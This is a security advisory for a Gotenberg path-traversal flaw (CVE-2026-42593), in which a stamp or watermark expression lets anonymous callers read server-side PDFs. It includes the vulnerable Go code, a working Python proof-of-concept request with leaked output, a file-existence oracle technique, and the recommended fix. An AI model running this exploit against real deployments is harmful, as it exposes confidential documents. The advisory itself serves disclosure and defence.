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GHSA-3cv5-q585-h563 CVE-2026-42593 GO-2026-5080

Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes

Medium Go
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 23.97% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 External Control of File Name or Path
Fix
None yet
No fixed version published

Description

Summary

Six conversion routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, chromium/convert/markdown) accept stampSource=pdf + stampExpression=/path and watermarkSource=pdf + watermarkExpression=/path from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem.

Details

The dedicated stamp route at pkg/modules/pdfengines/routes.go:1322-1332 rejects requests missing the stamp file:

if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
    if stampFile == "" {
        return api.WrapError(errors.New("no stamp file provided"), ...)
    }
    stamp.Expression = stampFile
}

The merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark):

// pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split);
// pkg/modules/libreoffice/routes.go:307-311;
// pkg/modules/chromium/routes.go:433-438, 508-513, 592-597
if (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != "" {
    stamp.Expression = stampFile
}
if (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != "" {
    watermark.Expression = watermarkFile
}

When stampFile == "" (no file attached to the stamp form field), the guard short-circuits and stamp.Expression keeps the raw user-supplied stampExpression form string. The same pattern applies to watermarkFile/watermarkExpression.

pkg/modules/pdfcpu/pdfcpu.go:635 forwards the expression straight to the pdfcpu CLI:

args := []string{"stamp", "add", "-mode", "pdf", "--", stamp.Expression, onDesc, inputPath, outputPath}
cmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...)

pdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output.

Proof of Concept

Reproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared /tmp filesystem:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
docker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf

Where victim.pdf contains extractable text such as BOB-CONFIDENTIAL-CONTRACT-2026-04-20.

Alice attacks without auth:

import requests, io, subprocess
T = "http://localhost:3000"

minimal = (b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
           b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
           b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n"
           b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n"
           b"0000000058 00000 n \n0000000115 00000 n \n"
           b"trailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n180\n%%EOF\n")

r = requests.post(
    f"{T}/forms/pdfengines/merge",
    files={"file1": ("a.pdf", io.BytesIO(minimal), "application/pdf"),
           "file2": ("b.pdf", io.BytesIO(minimal), "application/pdf")},
    data={"stampSource": "pdf", "stampExpression": "/tmp/victim_doc.pdf"},
    timeout=30,
)
print(f"HTTP {r.status_code} bytes={len(r.content)}")
open("/tmp/out.pdf", "wb").write(r.content)
print(subprocess.run(["pdftotext", "/tmp/out.pdf", "-"],
                     capture_output=True, text=True).stdout)

Observed output against gotenberg 8.31.0:

HTTP 200 bytes=1852
BOB-CONFIDENTIAL-CONTRACT-2026-04-20
...

Non-PDF targets via stampSource=pdf (for example /etc/hostname) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. stampSource=image with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with stampSource replaced by watermarkSource and stampExpression by watermarkExpression.

Impact

Any anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to /tmp/<gotenberg-work-uuid>/<request-uuid>/*.pdf (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read.

Recommended Fix

Apply the dedicated stamp route's guard to all six stamp call sites and all six watermark call sites:

if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
    if stampFile == "" {
        return api.WrapError(
            errors.New("no stamp file provided for image or pdf source"),
            api.NewSentinelHttpError(http.StatusBadRequest,
                "Invalid form data: a stamp file is required for image or pdf source"),
        )
    }
    stamp.Expression = stampFile
}
if watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF {
    if watermarkFile == "" {
        return api.WrapError(
            errors.New("no watermark file provided for image or pdf source"),
            api.NewSentinelHttpError(http.StatusBadRequest,
                "Invalid form data: a watermark file is required for image or pdf source"),
        )
    }
    watermark.Expression = watermarkFile
}

Call sites: pkg/modules/pdfengines/routes.go:679-683 (merge), :803-807 (split), pkg/modules/libreoffice/routes.go:307-311, pkg/modules/chromium/routes.go:433-438 (url), :508-513 (html), :592-597 (markdown), plus each route's watermark counterpart.


Found by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
github.com/gotenberg/gotenberg/v7
all versions
No fix yet
github.com/gotenberg/gotenberg/v8
<= 8.31.0
No fix yet
github.com/gotenberg/gotenberg/v8
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-2mrg-35hw-x3x9
Gotenberg: SSRF via LibreOffice document processing
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-vp73-vjw8-8f32
Gotenberg has a Race Condition via Multipart `downloadFrom` Handling
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-86m8-88fq-xfxp
Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-hwc4-gmrw-5222
Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-chwh-f6gm-r836
Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-g924-cjx7-2rjw
Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme
Medium Also affects github.com/gotenberg/gotenberg/v7
GHSA-4vmc-gm8v-m35h
Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Critical Also affects github.com/gotenberg/gotenberg/v7
GHSA-r33j-c622-r6qp
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
High Also affects github.com/gotenberg/gotenberg/v7
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